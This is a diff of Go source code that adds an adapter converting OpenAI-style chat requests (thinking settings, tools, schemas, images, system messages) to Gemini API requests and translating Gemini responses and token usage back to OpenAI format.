+						geminiRequest.GenerationConfig.ThinkingConfig.ThinkingBudget = common.GetPointer(clampThinkingBudgetByEffort(modelName, oaiRequest[0].ReasoningEffort))
+					}
+				}
+			}
+		} else if strings.HasSuffix(modelName, "-nothinking") {
+			if !isNew25Pro {
+				geminiRequest.GenerationConfig.ThinkingConfig = &dto.GeminiThinkingConfig{
+					ThinkingBudget: common.GetPointer(0),
+				}
+			}
+		} else if _, level, ok := reasoning.TrimEffortSuffix(info.UpstreamModelName); ok && level != "" {
+			geminiRequest.GenerationConfig.ThinkingConfig = &dto.GeminiThinkingConfig{
+				IncludeThoughts: true,
+				ThinkingLevel:   level,
+			}
+			info.ReasoningEffort = level
+		}
+	}
+}
+
+// Setting safety to the lowest possible values since Gemini is already powerless enough
+func CovertOpenAI2Gemini(c *gin.Context, textRequest dto.GeneralOpenAIRequest, info *relaycommon.RelayInfo) (*dto.GeminiChatRequest, error) {
+
+	geminiRequest := dto.GeminiChatRequest{
+		Contents: make([]dto.GeminiChatContent, 0, len(textRequest.Messages)),
+		GenerationConfig: dto.GeminiChatGenerationConfig{
+			Temperature: textRequest.Temperature,
+		},
+	}
+
+	if textRequest.TopP != nil && *textRequest.TopP > 0 {
+		geminiRequest.GenerationConfig.TopP = common.GetPointer(*textRequest.TopP)
+	}
+
+	if maxTokens := textRequest.GetMaxTokens(); maxTokens > 0 {
+		geminiRequest.GenerationConfig.MaxOutputTokens = common.GetPointer(maxTokens)
+	}
+
+	if textRequest.Seed != nil && *textRequest.Seed != 0 {
+		geminiSeed := int64(lo.FromPtr(textRequest.Seed))
+		geminiRequest.GenerationConfig.Seed = common.GetPointer(geminiSeed)
+	}
+
+	attachThoughtSignature := (info.ChannelType == constant.ChannelTypeGemini ||
+		info.ChannelType == constant.ChannelTypeVertexAi) &&
+		model_setting.GetGeminiSettings().FunctionCallThoughtSignatureEnabled
+
+	if model_setting.IsGeminiModelSupportImagine(info.UpstreamModelName) {
+		geminiRequest.GenerationConfig.ResponseModalities = []string{
+			"TEXT",
+			"IMAGE",
+		}
+	}
+	if stopSequences := parseStopSequences(textRequest.Stop); len(stopSequences) > 0 {
+		// Gemini supports up to 5 stop sequences
+		if len(stopSequences) > 5 {
+			stopSequences = stopSequences[:5]
+		}
+		geminiRequest.GenerationConfig.StopSequences = stopSequences
+	}
+
+	adaptorWithExtraBody := false
+
+	// patch extra_body
+	if len(textRequest.ExtraBody) > 0 {
+		var extraBody map[string]interface{}
+		if err := common.Unmarshal(textRequest.ExtraBody, &extraBody); err != nil {
+			return nil, fmt.Errorf("invalid extra body: %w", err)
+		}
+
+		// eg. {"google":{"thinking_config":{"thinking_budget":5324,"include_thoughts":true}}}
+		if googleBody, ok := extraBody["google"].(map[string]interface{}); ok {
+			if !strings.HasSuffix(info.UpstreamModelName, "-nothinking") {
+				adaptorWithExtraBody = true
+				// check error param name like thinkingConfig, should be thinking_config
+				if _, hasErrorParam := googleBody["thinkingConfig"]; hasErrorParam {
+					return nil, errors.New("extra_body.google.thinkingConfig is not supported, use extra_body.google.thinking_config instead")
+				}
+
+				if thinkingConfig, ok := googleBody["thinking_config"].(map[string]interface{}); ok {
+					// check error param name like thinkingBudget, should be thinking_budget
+					if _, hasErrorParam := thinkingConfig["thinkingBudget"]; hasErrorParam {
+						return nil, errors.New("extra_body.google.thinking_config.thinkingBudget is not supported, use extra_body.google.thinking_config.thinking_budget instead")
+					}
+					var hasThinkingConfig bool
+					var tempThinkingConfig dto.GeminiThinkingConfig
+
+					if thinkingBudget, exists := thinkingConfig["thinking_budget"]; exists {
+						switch v := thinkingBudget.(type) {
+						case float64:
+							budgetInt := int(v)
+							tempThinkingConfig.ThinkingBudget = common.GetPointer(budgetInt)
+							if budgetInt > 0 {
+								// 有正数预算
+								tempThinkingConfig.IncludeThoughts = true
+							} else {
+								// 存在但为0或负数，禁用思考
+								tempThinkingConfig.IncludeThoughts = false
+							}
+							hasThinkingConfig = true
+						default:
+							return nil, errors.New("extra_body.google.thinking_config.thinking_budget must be an integer")
+						}
+					}
+
+					if includeThoughts, exists := thinkingConfig["include_thoughts"]; exists {
+						if v, ok := includeThoughts.(bool); ok {
+							tempThinkingConfig.IncludeThoughts = v
+							hasThinkingConfig = true
+						} else {
+							return nil, errors.New("extra_body.google.thinking_config.include_thoughts must be a boolean")
+						}
+					}
+					if thinkingLevel, exists := thinkingConfig["thinking_level"]; exists {
+						if v, ok := thinkingLevel.(string); ok {
+							tempThinkingConfig.ThinkingLevel = v
+							hasThinkingConfig = true
+						} else {
+							return nil, errors.New("extra_body.google.thinking_config.thinking_level must be a string")
+						}
+					}
+
+					if hasThinkingConfig {
+						// 避免 panic: 仅在获得配置时分配，防止后续赋值时空指针
+						if geminiRequest.GenerationConfig.ThinkingConfig == nil {
+							geminiRequest.GenerationConfig.ThinkingConfig = &tempThinkingConfig
+						} else {
+							// 如果已分配，则合并内容
+							if tempThinkingConfig.ThinkingBudget != nil {
+								geminiRequest.GenerationConfig.ThinkingConfig.ThinkingBudget = tempThinkingConfig.ThinkingBudget
+							}
+							geminiRequest.GenerationConfig.ThinkingConfig.IncludeThoughts = tempThinkingConfig.IncludeThoughts
+							if tempThinkingConfig.ThinkingLevel != "" {
+								geminiRequest.GenerationConfig.ThinkingConfig.ThinkingLevel = tempThinkingConfig.ThinkingLevel
+							}
+						}
+					}
+				}
+			}
+
+			// check error param name like imageConfig, should be image_config
+			if _, hasErrorParam := googleBody["imageConfig"]; hasErrorParam {
+				return nil, errors.New("extra_body.google.imageConfig is not supported, use extra_body.google.image_config instead")
+			}
+
+			if imageConfig, ok := googleBody["image_config"].(map[string]interface{}); ok {
+				// check error param name like aspectRatio, should be aspect_ratio
+				if _, hasErrorParam := imageConfig["aspectRatio"]; hasErrorParam {
+					return nil, errors.New("extra_body.google.image_config.aspectRatio is not supported, use extra_body.google.image_config.aspect_ratio instead")
+				}
+				// check error param name like imageSize, should be image_size
+				if _, hasErrorParam := imageConfig["imageSize"]; hasErrorParam {
+					return nil, errors.New("extra_body.google.image_config.imageSize is not supported, use extra_body.google.image_config.image_size instead")
+				}
+
+				// convert snake_case to camelCase for Gemini API
+				geminiImageConfig := make(map[string]interface{})
+				if aspectRatio, ok := imageConfig["aspect_ratio"]; ok {
+					geminiImageConfig["aspectRatio"] = aspectRatio
+				}
+				if imageSize, ok := imageConfig["image_size"]; ok {
+					geminiImageConfig["imageSize"] = imageSize
+				}
+
+				if len(geminiImageConfig) > 0 {
+					imageConfigBytes, err := common.Marshal(geminiImageConfig)
+					if err != nil {
+						return nil, fmt.Errorf("failed to marshal image_config: %w", err)
+					}
+					geminiRequest.GenerationConfig.ImageConfig = imageConfigBytes
+				}
+			}
+		}
+	}
+
+	if !adaptorWithExtraBody {
+		ThinkingAdaptor(&geminiRequest, info, textRequest)
+	}
+
+	safetySettings := make([]dto.GeminiChatSafetySettings, 0, len(SafetySettingList))
+	for _, category := range SafetySettingList {
+		safetySettings = append(safetySettings, dto.GeminiChatSafetySettings{
+			Category:  category,
+			Threshold: model_setting.GetGeminiSafetySetting(category),
+		})
+	}
+	geminiRequest.SafetySettings = safetySettings
+
+	// openaiContent.FuncToToolCalls()
+	if textRequest.Tools != nil {
+		functions := make([]dto.FunctionRequest, 0, len(textRequest.Tools))
+		googleSearch := false
+		codeExecution := false
+		urlContext := false
+		for _, tool := range textRequest.Tools {
+			if tool.Function.Name == "googleSearch" {
+				googleSearch = true
+				continue
+			}
+			if tool.Function.Name == "codeExecution" {
+				codeExecution = true
+				continue
+			}
+			if tool.Function.Name == "urlContext" {
+				urlContext = true
+				continue
+			}
+			if tool.Function.Parameters != nil {
+
+				params, ok := tool.Function.Parameters.(map[string]interface{})
+				if ok {
+					if props, hasProps := params["properties"].(map[string]interface{}); hasProps {
+						if len(props) == 0 {
+							tool.Function.Parameters = nil
+						}
+					}
+				}
+			}
+			// Clean the parameters before appending
+			cleanedParams := cleanFunctionParameters(tool.Function.Parameters)
+			tool.Function.Parameters = cleanedParams
+			functions = append(functions, tool.Function)
+		}
+		geminiTools := geminiRequest.GetTools()
+		if codeExecution {
+			geminiTools = append(geminiTools, dto.GeminiChatTool{
+				CodeExecution: make(map[string]string),
+			})
+		}
+		if googleSearch {
+			geminiTools = append(geminiTools, dto.GeminiChatTool{
+				GoogleSearch: make(map[string]string),
+			})
+		}
+		if urlContext {
+			geminiTools = append(geminiTools, dto.GeminiChatTool{
+				URLContext: make(map[string]string),
+			})
+		}
+		if len(functions) > 0 {
+			geminiTools = append(geminiTools, dto.GeminiChatTool{
+				FunctionDeclarations: functions,
+			})
+		}
+		geminiRequest.SetTools(geminiTools)
+
+		// [NEW] Convert OpenAI tool_choice to Gemini toolConfig.functionCallingConfig
+		// Mapping: "auto" -> "AUTO", "none" -> "NONE", "required" -> "ANY"
+		// Object format: {"type": "function", "function": {"name": "xxx"}} -> "ANY" + allowedFunctionNames
+		if textRequest.ToolChoice != nil {
+			geminiRequest.ToolConfig = convertToolChoiceToGeminiConfig(textRequest.ToolChoice)
+		}
+	}
+
+	if textRequest.ResponseFormat != nil && (textRequest.ResponseFormat.Type == "json_schema" || textRequest.ResponseFormat.Type == "json_object") {
+		geminiRequest.GenerationConfig.ResponseMimeType = "application/json"
+
+		if len(textRequest.ResponseFormat.JsonSchema) > 0 {
+			// 先将json.RawMessage解析
+			var jsonSchema dto.FormatJsonSchema
+			if err := common.Unmarshal(textRequest.ResponseFormat.JsonSchema, &jsonSchema); err == nil {
+				cleanedSchema := removeAdditionalPropertiesWithDepth(jsonSchema.Schema, 0)
+				geminiRequest.GenerationConfig.ResponseSchema = cleanedSchema
+			}
+		}
+	}
+	tool_call_ids := make(map[string]string)
+	var system_content []string
+	//shouldAddDummyModelMessage := false
+	for _, message := range textRequest.Messages {
+		if message.Role == "system" || message.Role == "developer" {
+			system_content = append(system_content, message.StringContent())
+			continue
+		} else if message.Role == "tool" || message.Role == "function" {
+			if len(geminiRequest.Contents) == 0 || geminiRequest.Contents[len(geminiRequest.Contents)-1].Role == "model" {
+				geminiRequest.Contents = append(geminiRequest.Contents, dto.GeminiChatContent{
+					Role: "user",
+				})
+			}
+			var parts = &geminiRequest.Contents[len(geminiRequest.Contents)-1].Parts
+			name := ""
+			if message.Name != nil {
+				name = *message.Name
+			} else if val, exists := tool_call_ids[message.ToolCallId]; exists {
+				name = val
+			}
+			var contentMap map[string]interface{}
+			contentStr := message.StringContent()
+
+			// 1. 尝试解析为 JSON 对象
+			if err := json.Unmarshal([]byte(contentStr), &contentMap); err != nil {
+				// 2. 如果失败，尝试解析为 JSON 数组
+				var contentSlice []interface{}
+				if err := json.Unmarshal([]byte(contentStr), &contentSlice); err == nil {
+					// 如果是数组，包装成对象
+					contentMap = map[string]interface{}{"result": contentSlice}
+				} else {
+					// 3. 如果再次失败，作为纯文本处理
+					contentMap = map[string]interface{}{"content": contentStr}
+				}
+			}
+
+			functionResp := &dto.GeminiFunctionResponse{
+				Name:     name,
+				Response: contentMap,
+			}
+
+			*parts = append(*parts, dto.GeminiPart{
+				FunctionResponse: functionResp,
+			})
+			continue
+		}
+		var parts []dto.GeminiPart
+		content := dto.GeminiChatContent{
+			Role: message.Role,
+		}
+		shouldAttachThoughtSignature := attachThoughtSignature && (message.Role == "assistant" || message.Role == "model")
+		signatureAttached := false
+		// isToolCall := false
+		if message.ToolCalls != nil {
+			// message.Role = "model"
+			// isToolCall = true
+			for _, call := range message.ParseToolCalls() {
+				args := map[string]interface{}{}
+				if call.Function.Arguments != "" {
+					if json.Unmarshal([]byte(call.Function.Arguments), &args) != nil {
+						return nil, fmt.Errorf("invalid arguments for function %s, args: %s", call.Function.Name, call.Function.Arguments)
+					}
+				}
+				toolCall := dto.GeminiPart{
+					FunctionCall: &dto.FunctionCall{
+						FunctionName: call.Function.Name,
+						Arguments:    args,
+					},
+				}
+				if shouldAttachThoughtSignature && !signatureAttached && hasFunctionCallContent(toolCall.FunctionCall) && len(toolCall.ThoughtSignature) == 0 {
+					toolCall.ThoughtSignature = json.RawMessage(strconv.Quote(thoughtSignatureBypassValue))
+					signatureAttached = true
+				}
+				parts = append(parts, toolCall)
+				tool_call_ids[call.ID] = call.Function.Name
+			}
+		}
+
+		openaiContent := message.ParseContent()
+		for _, part := range openaiContent {
+			if part.Type == dto.ContentTypeText {
+				if part.Text == "" {
+					continue
+				}
+				// check markdown image ![image](data:image/jpeg;base64,xxxxxxxxxxxx)
+				// 使用字符串查找而非正则，避免大文本性能问题
+				text := part.Text
+				hasMarkdownImage := false
+				for {
+					// 快速检查是否包含 markdown 图片标记
+					startIdx := strings.Index(text, "![")
+					if startIdx == -1 {
+						break
+					}
+					// 找到 ](
+					bracketIdx := strings.Index(text[startIdx:], "](data:")
+					if bracketIdx == -1 {
+						break
+					}
+					bracketIdx += startIdx
+					// 找到闭合的 )
+					closeIdx := strings.Index(text[bracketIdx+2:], ")")
+					if closeIdx == -1 {
+						break
+					}
+					closeIdx += bracketIdx + 2
+
+					hasMarkdownImage = true
+					// 添加图片前的文本
+					if startIdx > 0 {
+						textBefore := text[:startIdx]
+						if textBefore != "" {
+							parts = append(parts, dto.GeminiPart{
+								Text: textBefore,
+							})
+						}
+					}
+					// 提取 data URL (从 "](" 后面开始，到 ")" 之前)
+					dataUrl := text[bracketIdx+2 : closeIdx]
+					format, base64String, err := service.DecodeBase64FileData(dataUrl)
+					if err != nil {
+						return nil, fmt.Errorf("decode markdown base64 image data failed: %s", err.Error())
+					}
+					imgPart := dto.GeminiPart{
+						InlineData: &dto.GeminiInlineData{
+							MimeType: format,
+							Data:     base64String,
+						},
+					}
+					if shouldAttachThoughtSignature {
+						imgPart.ThoughtSignature = json.RawMessage(strconv.Quote(thoughtSignatureBypassValue))
+					}
+					parts = append(parts, imgPart)
+					// 继续处理剩余文本
+					text = text[closeIdx+1:]
+				}
+				// 添加剩余文本或原始文本（如果没有找到 markdown 图片）
+				if !hasMarkdownImage {
+					parts = append(parts, dto.GeminiPart{
+						Text: part.Text,
+					})
+				}
+			} else {
+				source := part.ToFileSource()
+				if source == nil {
+					continue
+				}
+				base64Data, mimeType, err := service.GetBase64Data(c, source, "formatting image for Gemini")
+				if err != nil {
+					return nil, fmt.Errorf("get file data from '%s' failed: %w", source.GetIdentifier(), err)
+				}
+
+				// 校验 MimeType 是否在 Gemini 支持的白名单中
+				if _, ok := geminiSupportedMimeTypes[strings.ToLower(mimeType)]; !ok {
+					return nil, fmt.Errorf("mime type is not supported by Gemini: '%s', url: '%s', supported types are: %v", mimeType, source.GetIdentifier(), getSupportedMimeTypesList())
+				}
+
+				parts = append(parts, dto.GeminiPart{
+					InlineData: &dto.GeminiInlineData{
+						MimeType: mimeType,
+						Data:     base64Data,
+					},
+				})
+			}
+		}
+
+		// 如果需要附加签名但还没有附加（没有 tool_calls 或 tool_calls 为空），
+		// 则在第一个文本 part 上附加 thoughtSignature
+		if shouldAttachThoughtSignature && !signatureAttached && len(parts) > 0 {
+			for i := range parts {
+				if parts[i].Text != "" {
+					parts[i].ThoughtSignature = json.RawMessage(strconv.Quote(thoughtSignatureBypassValue))
+					break
+				}
+			}
+		}
+
+		content.Parts = parts
+
+		// there's no assistant role in gemini and API shall vomit if Role is not user or model
+		if content.Role == "assistant" {
+			content.Role = "model"
+		}
+		if len(content.Parts) > 0 {
+			geminiRequest.Contents = append(geminiRequest.Contents, content)
+		}
+	}
+
+	if len(system_content) > 0 {
+		geminiRequest.SystemInstructions = &dto.GeminiChatContent{
+			Parts: []dto.GeminiPart{
+				{
+					Text: strings.Join(system_content, "\n"),
+				},
+			},
+		}
+	}
+
+	return &geminiRequest, nil
+}
+
+// parseStopSequences 解析停止序列，支持字符串或字符串数组
+func parseStopSequences(stop any) []string {
+	if stop == nil {
+		return nil
+	}
+
+	switch v := stop.(type) {
+	case string:
+		if v != "" {
+			return []string{v}
+		}
+	case []string:
+		return v
+	case []interface{}:
+		sequences := make([]string, 0, len(v))
+		for _, item := range v {
+			if str, ok := item.(string); ok && str != "" {
+				sequences = append(sequences, str)
+			}
+		}
+		return sequences
+	}
+	return nil
+}
+
+func hasFunctionCallContent(call *dto.FunctionCall) bool {
+	if call == nil {
+		return false
+	}
+	if strings.TrimSpace(call.FunctionName) != "" {
+		return true
+	}
+
+	switch v := call.Arguments.(type) {
+	case nil:
+		return false
+	case string:
+		return strings.TrimSpace(v) != ""
+	case map[string]interface{}:
+		return len(v) > 0
+	case []interface{}:
+		return len(v) > 0
+	default:
+		return true
+	}
+}
+
+// Helper function to get a list of supported MIME types for error messages
+func getSupportedMimeTypesList() []string {
+	keys := make([]string, 0, len(geminiSupportedMimeTypes))
+	for k := range geminiSupportedMimeTypes {
+		keys = append(keys, k)
+	}
+	return keys
+}
+
+var geminiOpenAPISchemaAllowedFields = map[string]struct{}{
+	"anyOf":            {},
+	"default":          {},
+	"description":      {},
+	"enum":             {},
+	"example":          {},
+	"format":           {},
+	"items":            {},
+	"maxItems":         {},
+	"maxLength":        {},
+	"maxProperties":    {},
+	"maximum":          {},
+	"minItems":         {},
+	"minLength":        {},
+	"minProperties":    {},
+	"minimum":          {},
+	"nullable":         {},
+	"pattern":          {},
+	"properties":       {},
+	"propertyOrdering": {},
+	"required":         {},
+	"title":            {},
+	"type":             {},
+}
+
+const geminiFunctionSchemaMaxDepth = 64
+
+// cleanFunctionParameters recursively removes unsupported fields from Gemini function parameters.
+func cleanFunctionParameters(params interface{}) interface{} {
+	return cleanFunctionParametersWithDepth(params, 0)
+}
+
+func cleanFunctionParametersWithDepth(params interface{}, depth int) interface{} {
+	if params == nil {
+		return nil
+	}
+
+	if depth >= geminiFunctionSchemaMaxDepth {
+		return cleanFunctionParametersShallow(params)
+	}
+
+	switch v := params.(type) {
+	case map[string]interface{}:
+		// Keep only Gemini-supported OpenAPI schema subset fields (per official SDK Schema).
+		cleanedMap := make(map[string]interface{}, len(v))
+		for k, val := range v {
+			if _, ok := geminiOpenAPISchemaAllowedFields[k]; ok {
+				cleanedMap[k] = val
+			}
+		}
+
+		normalizeGeminiSchemaTypeAndNullable(cleanedMap)
+
+		// Clean properties
+		if props, ok := cleanedMap["properties"].(map[string]interface{}); ok && props != nil {
+			cleanedProps := make(map[string]interface{})
+			for propName, propValue := range props {
+				cleanedProps[propName] = cleanFunctionParametersWithDepth(propValue, depth+1)
+			}
+			cleanedMap["properties"] = cleanedProps
+		}
+
+		// Recursively clean items in arrays
+		if items, ok := cleanedMap["items"].(map[string]interface{}); ok && items != nil {
+			cleanedMap["items"] = cleanFunctionParametersWithDepth(items, depth+1)
+		}
+		// OpenAPI tuple-style items is not supported by Gemini SDK Schema; keep first to avoid API rejection.
+		if itemsArray, ok := cleanedMap["items"].([]interface{}); ok && len(itemsArray) > 0 {
+			cleanedMap["items"] = cleanFunctionParametersWithDepth(itemsArray[0], depth+1)
+		}
+
+		// Recursively clean anyOf
+		if nested, ok := cleanedMap["anyOf"].([]interface{}); ok && nested != nil {
+			cleanedNested := make([]interface{}, len(nested))
+			for i, item := range nested {
+				cleanedNested[i] = cleanFunctionParametersWithDepth(item, depth+1)
+			}
+			cleanedMap["anyOf"] = cleanedNested
+		}
+
+		return cleanedMap
+
+	case []interface{}:
+		// Handle arrays of schemas
+		cleanedArray := make([]interface{}, len(v))
+		for i, item := range v {
+			cleanedArray[i] = cleanFunctionParametersWithDepth(item, depth+1)
+		}
+		return cleanedArray
+
+	default:
+		// Not a map or array, return as is (e.g., could be a primitive)
+		return params
+	}
+}
+
+func cleanFunctionParametersShallow(params interface{}) interface{} {
+	switch v := params.(type) {
+	case map[string]interface{}:
+		cleanedMap := make(map[string]interface{}, len(v))
+		for k, val := range v {
+			if _, ok := geminiOpenAPISchemaAllowedFields[k]; ok {
+				cleanedMap[k] = val
+			}
+		}
+		normalizeGeminiSchemaTypeAndNullable(cleanedMap)
+		// Stop recursion and avoid retaining huge nested structures.
+		delete(cleanedMap, "properties")
+		delete(cleanedMap, "items")
+		delete(cleanedMap, "anyOf")
+		return cleanedMap
+	case []interface{}:
+		// Prefer an empty list over deep recursion on attacker-controlled inputs.
+		return []interface{}{}
+	default:
+		return params
+	}
+}
+
+func normalizeGeminiSchemaTypeAndNullable(schema map[string]interface{}) {
+	rawType, ok := schema["type"]
+	if !ok || rawType == nil {
+		return
+	}
+
+	normalize := func(t string) (string, bool) {
+		switch strings.ToLower(strings.TrimSpace(t)) {
+		case "object":
+			return "OBJECT", false
+		case "array":
+			return "ARRAY", false
+		case "string":
+			return "STRING", false
+		case "integer":
+			return "INTEGER", false
+		case "number":
+			return "NUMBER", false
+		case "boolean":
+			return "BOOLEAN", false
+		case "null":
+			return "", true
+		default:
+			return t, false
+		}
+	}
+
+	switch t := rawType.(type) {
+	case string:
+		normalized, isNull := normalize(t)
+		if isNull {
+			schema["nullable"] = true
+			delete(schema, "type")
+			return
+		}
+		schema["type"] = normalized
+	case []interface{}:
+		nullable := false
+		var chosen string
+		for _, item := range t {
+			if s, ok := item.(string); ok {
+				normalized, isNull := normalize(s)
+				if isNull {
+					nullable = true
+					continue
+				}
+				if chosen == "" {
+					chosen = normalized
+				}
+			}
+		}
+		if nullable {
+			schema["nullable"] = true
+		}
+		if chosen != "" {
+			schema["type"] = chosen
+		} else {
+			delete(schema, "type")
+		}
+	}
+}
+
+func removeAdditionalPropertiesWithDepth(schema interface{}, depth int) interface{} {
+	if depth >= 5 {
+		return schema
+	}
+
+	v, ok := schema.(map[string]interface{})
+	if !ok || len(v) == 0 {
+		return schema
+	}
+	// 删除所有的title字段
+	delete(v, "title")
+	delete(v, "$schema")
+	// 如果type不为object和array，则直接返回
+	if typeVal, exists := v["type"]; !exists || (typeVal != "object" && typeVal != "array") {
+		return schema
+	}
+	switch v["type"] {
+	case "object":
+		delete(v, "additionalProperties")
+		// 处理 properties
+		if properties, ok := v["properties"].(map[string]interface{}); ok {
+			for key, value := range properties {
+				properties[key] = removeAdditionalPropertiesWithDepth(value, depth+1)
+			}
+		}
+		for _, field := range []string{"allOf", "anyOf", "oneOf"} {
+			if nested, ok := v[field].([]interface{}); ok {
+				for i, item := range nested {
+					nested[i] = removeAdditionalPropertiesWithDepth(item, depth+1)
+				}
+			}
+		}
+	case "array":
+		if items, ok := v["items"].(map[string]interface{}); ok {
+			v["items"] = removeAdditionalPropertiesWithDepth(items, depth+1)
+		}
+	}
+
+	return v
+}
+
+func unescapeString(s string) (string, error) {
+	var result []rune
+	escaped := false
+	i := 0
+
+	for i < len(s) {
+		r, size := utf8.DecodeRuneInString(s[i:]) // 正确解码UTF-8字符
+		if r == utf8.RuneError {
+			return "", fmt.Errorf("invalid UTF-8 encoding")
+		}
+
+		if escaped {
+			// 如果是转义符后的字符，检查其类型
+			switch r {
+			case '"':
+				result = append(result, '"')
+			case '\\':
+				result = append(result, '\\')
+			case '/':
+				result = append(result, '/')
+			case 'b':
+				result = append(result, '\b')
+			case 'f':
+				result = append(result, '\f')
+			case 'n':
+				result = append(result, '\n')
+			case 'r':
+				result = append(result, '\r')
+			case 't':
+				result = append(result, '\t')
+			case '\'':
+				result = append(result, '\'')
+			default:
+				// 如果遇到一个非法的转义字符，直接按原样输出
+				result = append(result, '\\', r)
+			}
+			escaped = false
+		} else {
+			if r == '\\' {
+				escaped = true // 记录反斜杠作为转义符
+			} else {
+				result = append(result, r)
+			}
+		}
+		i += size // 移动到下一个字符
+	}
+
+	return string(result), nil
+}
+func unescapeMapOrSlice(data interface{}) interface{} {
+	switch v := data.(type) {
+	case map[string]interface{}:
+		for k, val := range v {
+			v[k] = unescapeMapOrSlice(val)
+		}
+	case []interface{}:
+		for i, val := range v {
+			v[i] = unescapeMapOrSlice(val)
+		}
+	case string:
+		if unescaped, err := unescapeString(v); err != nil {
+			return v
+		} else {
+			return unescaped
+		}
+	}
+	return data
+}
+
+func getResponseToolCall(item *dto.GeminiPart) *dto.ToolCallResponse {
+	var argsBytes []byte
+	var err error
+	// 移除 unescapeMapOrSlice 调用，直接使用 json.Marshal
+	// JSON 序列化/反序列化已经正确处理了转义字符
+	argsBytes, err = json.Marshal(item.FunctionCall.Arguments)
+
+	if err != nil {
+		return nil
+	}
+	return &dto.ToolCallResponse{
+		ID:   fmt.Sprintf("call_%s", common.GetUUID()),
+		Type: "function",
+		Function: dto.FunctionResponse{
+			Arguments: string(argsBytes),
+			Name:      item.FunctionCall.FunctionName,
+		},
+	}
+}
+
+func buildUsageFromGeminiMetadata(metadata dto.GeminiUsageMetadata, fallbackPromptTokens int) dto.Usage {
+	promptTokens := metadata.PromptTokenCount + metadata.ToolUsePromptTokenCount
+	if promptTokens <= 0 && fallbackPromptTokens > 0 {
+		promptTokens = fallbackPromptTokens
+	}
+
+	usage := dto.Usage{
+		PromptTokens:     promptTokens,
+		CompletionTokens: metadata.CandidatesTokenCount + metadata.ThoughtsTokenCount,
+		TotalTokens:      metadata.TotalTokenCount,
+	}
+	usage.CompletionTokenDetails.ReasoningTokens = metadata.ThoughtsTokenCount
+	usage.PromptTokensDetails.CachedTokens = metadata.CachedContentTokenCount
+
+	for _, detail := range metadata.PromptTokensDetails {
+		if detail.Modality == "AUDIO" {
+			usage.PromptTokensDetails.AudioTokens += detail.TokenCount
+		} else if detail.Modality == "TEXT" {
+			usage.PromptTokensDetails.TextTokens += detail.TokenCount
+		}
+	}
+	for _, detail := range metadata.ToolUsePromptTokensDetails {
+		if detail.Modality == "AUDIO" {
+			usage.PromptTokensDetails.AudioTokens += detail.TokenCount
+		} else if detail.Modality == "TEXT" {
+			usage.PromptTokensDetails.TextTokens += detail.TokenCount
+		}
+	}
+	for _, detail := range metadata.CandidatesTokensDetails {
+		switch detail.Modality {
+		case "IMAGE":
+			usage.CompletionTokenDetails.ImageTokens += detail.TokenCount
+		case "AUDIO":
+			usage.CompletionTokenDetails.AudioTokens += detail.TokenCount
+		case "TEXT":
+			usage.CompletionTokenDetails.TextTokens += detail.TokenCount
+		}
+	}
+
+	if usage.TotalTokens > 0 && usage.CompletionTokens <= 0 {
+		usage.CompletionTokens = usage.TotalTokens - usage.PromptTokens
+	}
+
+	if usage.PromptTokens > 0 && usage.PromptTokensDetails.TextTokens == 0 && usage.PromptTokensDetails.AudioTokens == 0 {
+		usage.PromptTokensDetails.TextTokens = usage.PromptTokens
+	}
+
+	return usage
+}
+
+func responseGeminiChat2OpenAI(c *gin.Context, response *dto.GeminiChatResponse) *dto.OpenAITextResponse {
+	fullTextResponse := dto.OpenAITextResponse{
+		Id:      helper.GetResponseID(c),
+		Object:  "chat.completion",
+		Created: common.GetTimestamp(),
+		Choices: make([]dto.OpenAITextResponseChoice, 0, len(response.Candidates)),
+	}
+	isToolCall := false
+	for _, candidate := range response.Candidates {
+		choice := dto.OpenAITextResponseChoice{
+			Index: int(candidate.Index),
+			Message: dto.Message{
+				Role:    "assistant",
+				Content: "",
+			},
+			FinishReason: constant.FinishReasonStop,
+		}
+		if len(candidate.Content.Parts) > 0 {
+			var texts []string
+			var toolCalls []dto.ToolCallResponse
+			for _, part := range candidate.Content.Parts {
+				if part.InlineData != nil {
+					// 媒体内容
+					if strings.HasPrefix(part.InlineData.MimeType, "image") {
+						imgText := "![image](data:" + part.InlineData.MimeType + ";base64," + part.InlineData.Data + ")"
+						texts = append(texts, imgText)
+					} else {
+						// 其他媒体类型，直接显示链接
+						texts = append(texts, fmt.Sprintf("[media](data:%s;base64,%s)", part.InlineData.MimeType, part.InlineData.Data))
+					}
+				} else if part.FunctionCall != nil {
+					choice.FinishReason = constant.FinishReasonToolCalls
+					if call := getResponseToolCall(&part); call != nil {
+						toolCalls = append(toolCalls, *call)
+					}
+				} else if part.Thought {
+					choice.Message.ReasoningContent = &part.Text
+				} else {
+					if part.ExecutableCode != nil {
+						texts = append(texts, "```"+part.ExecutableCode.Language+"\n"+part.ExecutableCode.Code+"\n```")
+					} else if part.CodeExecutionResult != nil {
+						texts = append(texts, "```output\n"+part.CodeExecutionResult.Output+"\n```")
+					} else {
+						// 过滤掉空行
+						if part.Text != "\n" {
+							texts = append(texts, part.Text)
+						}
+					}
+				}
+			}
+			if len(toolCalls) > 0 {
+				choice.Message.SetToolCalls(toolCalls)
+				isToolCall = true
+			}
+			choice.Message.SetStringContent(strings.Join(texts, "\n"))
+
+		}
+		if candidate.FinishReason != nil {
+			switch *candidate.FinishReason {
+			case "STOP":
+				choice.FinishReason = constant.FinishReasonStop
+			case "MAX_TOKENS":
+				choice.FinishReason = constant.FinishReasonLength
+			case "SAFETY":
+				// Safety filter triggered
+				choice.FinishReason = constant.FinishReasonContentFilter
+			case "RECITATION":
+				// Recitation (citation) detected
+				choice.FinishReason = constant.FinishReasonContentFilter
+			case "BLOCKLIST":
+				// Blocklist triggered
+				choice.FinishReason = constant.FinishReasonContentFilter
+			case "PROHIBITED_CONTENT":
+				// Prohibited content detected
+				choice.FinishReason = constant.FinishReasonContentFilter
+			case "SPII":
+				// Sensitive personally identifiable information
+				choice.FinishReason = constant.FinishReasonContentFilter
+			case "OTHER":
+				// Other reasons
+				choice.FinishReason = constant.FinishReasonContentFilter
+			default:
+				choice.FinishReason = constant.FinishReasonContentFilter
+			}
+		}
+		if isToolCall {
+			choice.FinishReason = constant.FinishReasonToolCalls
+		}
+
+		fullTextResponse.Choices = append(fullTextResponse.Choices, choice)
+	}
+	return &fullTextResponse
+}
+
+func streamResponseGeminiChat2OpenAI(geminiResponse *dto.GeminiChatResponse) (*dto.ChatCompletionsStreamResponse, bool) {
+	choices := make([]dto.ChatCompletionsStreamResponseChoice, 0, len(geminiResponse.Candidates))
+	isStop := false
+	for _, candidate := range geminiResponse.Candidates {
+		if candidate.FinishReason != nil && *candidate.FinishReason == "STOP" {
+			isStop = true
+			candidate.FinishReason = nil
+		}
